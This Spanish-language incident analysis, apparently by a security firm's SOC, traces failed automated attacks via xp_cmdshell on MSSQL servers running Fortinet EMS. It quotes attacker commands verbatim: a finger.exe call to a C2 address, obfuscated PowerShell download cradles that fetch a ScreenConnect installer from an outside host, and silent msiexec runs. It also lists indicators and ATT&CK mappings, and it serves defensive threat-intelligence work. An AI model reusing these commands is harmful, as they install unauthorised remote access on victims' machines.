Antecedentes
Los analistas del SOC de Huntress siguen viendo alertas que indican actividad maliciosa en endpoints que ejecutan MSSQL Server o MSSQL Express, ya sea como instalaciones independientes o como parte de la instalación de un paquete de aplicaciones más grande. Una serie reciente de incidentes en tres endpoints que ejecutaban el sistema Fortinet Enterprise Management Server (EMS), es decir, el Servidor de Administración Empresarial de Fortinet, se iniciaron con alertas como se ilustra en la Figura 1.
Un análisis más profundo de estos incidentes arrojó hallazgos interesantes, ya que los analistas de Huntress crearon líneas de tiempo de investigación para dos de los tres endpoints identificados. El análisis de estas líneas de tiempo reveló no solo el medio inicial de acceso, sino también que los intentos del actor de amenazas parecen haber fallado en los endpoints monitoreados.
Los ataques
Tras las alertas que se ven en la Figura 1, y los informes posteriores generados para los tres endpoints identificados, los analistas de Huntress desarrollaron líneas de tiempo de investigación a partir de los datos del registro de eventos de Windows y la telemetría de EDR para obtener una mejor vista y comprensión de la actividad detectada. Resultó que, en ambos endpoints examinados, la secuencia y el tiempo de los comandos involucrados en el ataque eran similares, y parecían ser de naturaleza automatizada.
El primer indicio del ataque fue un registro de evento de MSSQL con ID 15281 dentro del registro de eventos de la aplicación, que indicaba que se bloqueó el acceso a un procedimiento almacenado, como se ilustra en la Figura 2.
Poco después, se activó el procedimiento almacenado xp_cmdshell, y se observó el siguiente comando dentro de la telemetría de EDR:
"C:\Windows\system32\cmd.exe" /c FINGER [email protected][.]82
El comando anterior se observó a las 21:34:13 UTC en el endpoint 1, y a las 21:28:33 UTC en el endpoint 2, el mismo día. El comando era un proceso hijo de sqlservr.exe, al igual que todos los comandos posteriores que se describen a continuación.
Nota la dirección IP; Huntress ha observado actividad relacionada con esta dirección IP durante incidentes anteriores, incluido uno que involucró el uso de finger.exe para exfiltrar datos. Durante otro incidente, la dirección IP se asoció nuevamente con el uso de finger.exe, tras la explotación exitosa de la vulnerabilidad OWASRRF.
Aproximadamente 100 minutos después, en ambos endpoints, se vieron en la telemetría de EDR dos comandos codificados al convertir cada carácter a su equivalente decimal, separados por "+". Un extracto de la línea de comandos aparecía como se ilustra en la Figura 3.
Al convertirse, el comando inferior (que apareció primero) se tradujo de la siguiente manera:
msiexec /q /i c:windowstemp1.msi
El comando decodificado aparece exactamente como se muestra arriba, sin barras invertidas (es decir, "\"). Sin embargo, este comando no fue precedido por ningún intento visible de descargar el archivo 1.msi al endpoint, ni la línea de tiempo de investigación muestra ninguna indicación de que msiexec.exe se haya ejecutado y generado mensajes de error después del comando.
Aproximadamente 17 minutos después del comando anterior, en ambos endpoints, se observó en la telemetría de EDR el segundo comando (el superior); al decodificarse, el comando aparece de la siguiente manera:
powershell -nop -c $ds = 'D' + 'Own' + 'LOa' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$ds.Invoke(''http://95.179.241[.]10:23963/Bin/ConnectWiseControl.ClientSetup.msi?e=Access&y=Guest'', ''c:\windows\temp\2.msi'')
Los registros de eventos de PowerShell en ninguno de los dos endpoints dieron indicación alguna de que el comando anterior se hubiera ejecutado correctamente.
En un intento por replicar los dos comandos anteriores, el comando 'dir' se convirtió al mismo formato de codificación y se ingresó en el símbolo del sistema. Los resultados se ilustran en la Figura 4.
Poco más de una hora después (63 minutos en el endpoint 1, 68 minutos en el endpoint 2), apareció el siguiente comando en la telemetría de EDR para ambos endpoints:
msiexec /q /i c:\windows\temp\1.msi
Nuevamente, cabe destacar que antes de este comando, no hubo comandos visibles que hubieran llevado a que el archivo 1.msi se descargara a los endpoints. En ambos endpoints, la línea de comando anterior fue seguida inmediatamente en la línea de tiempo de investigación por registros de MsiInstaller en el registro de eventos de Windows que indicaban que el instalador se inició y se detuvo de inmediato.
Luego, aproximadamente 15 minutos después, en ambos endpoints, se observó que el proceso del servidor SQL utilizado para FortiClient EMS generaba una cadena de descarga de PowerShell diseñada para instalar una instancia de ConnectWise ScreenConnect.
powershell -nop -c $ds = 'D' + 'Own' + 'LOa'' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('http://95.179.241[.]10:23963/Bin/ConnectWiseControl.ClientSetup.msi?e=Access
En un endpoint se observó la ejecución de un comando adicional, que aparecía de la siguiente manera:
"C:\Windows\system32\cmd.exe" /c powershell -nop -c $ds = 'D' + 'Own' + 'LOa'' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('http://95.179.241[.]10:23963/Bin/ConnectWiseControl.ClientSetup.msi?e=Access&y=Guest', 'c:\windows\temp\m.msi')
Posteriormente, se ejecutó el siguiente comando aproximadamente 6 ½ minutos después:
"C:\Windows\system32\cmd.exe" /c msiexec /q /i c:\windows\temp\m.msi
Más allá de esto, no se observaron comandos adicionales.
Conclusión
En ninguno de los endpoints monitoreados la instalación del MSI pareció ser exitosa. Los analistas de Huntress pudieron obtener una copia de m.msi y determinaron que el ID de instancia de ScreenConnect vinculado al instalador es f722dcd0838a377e, y que se conecta a 95.179.241[.]10. No hubo indicios de que la instancia de ScreenConnect se haya instalado con éxito en ninguno de los endpoints monitoreados.
Al revisar las cronologías de investigación, el orden de los comandos parece poco intuitivo. El actor de amenazas claramente tenía acceso de nivel SYSTEM a los endpoints, habiendo obtenido las credenciales necesarias. En ambos endpoints investigados, los registros de MSSQL en el registro de eventos de aplicación se remontaban varios meses antes del ataque, y en ninguno de los dos endpoints hubo indicios de un ataque de fuerza bruta ni de intentos de inicio de sesión fallidos durante ese período. Después del aparente comando de “comando y control” mediante finger.exe, uno pensaría que el siguiente paso sería usar comandos que realmente funcionaran. Luego, intentar ejecutar msiexec.exe contra un archivo MSI que aún no se ha descargado al endpoint parece contraproducente.
Finalmente, el momento y la secuencia de los comandos que aparecen en múltiples endpoints, en distintas infraestructuras de clientes, parece indicar que se estaba siguiendo un script o un playbook, posiblemente de forma automatizada.
Indicador
185.56.83[.]82 - Dirección IP de “C2” inicial (destino del comando finger)
95.179.241[.]10 - Origen desde donde se descargó la instancia de ScreenConnect (comando de PowerShell)
f722dcd0838a377e - ID de instancia de ScreenConnect
95.179.241[.]10:443 - Dirección IP:puerto al que la instancia de ScreenConnect intenta conectarse
Mapeo de MITRE ATT&CK
Acceso inicial
- T1190 (Exploit Public-Facing Application)
Ejecución
- T1059.001 (PowerShell)
- T1059.003 (Windows Command Shell)
Evasión de defensas
- T1218.007 (Msiexec)
- T1027 (Command Obfuscation)
Comando y control
- T1219 (Software de acceso remoto)
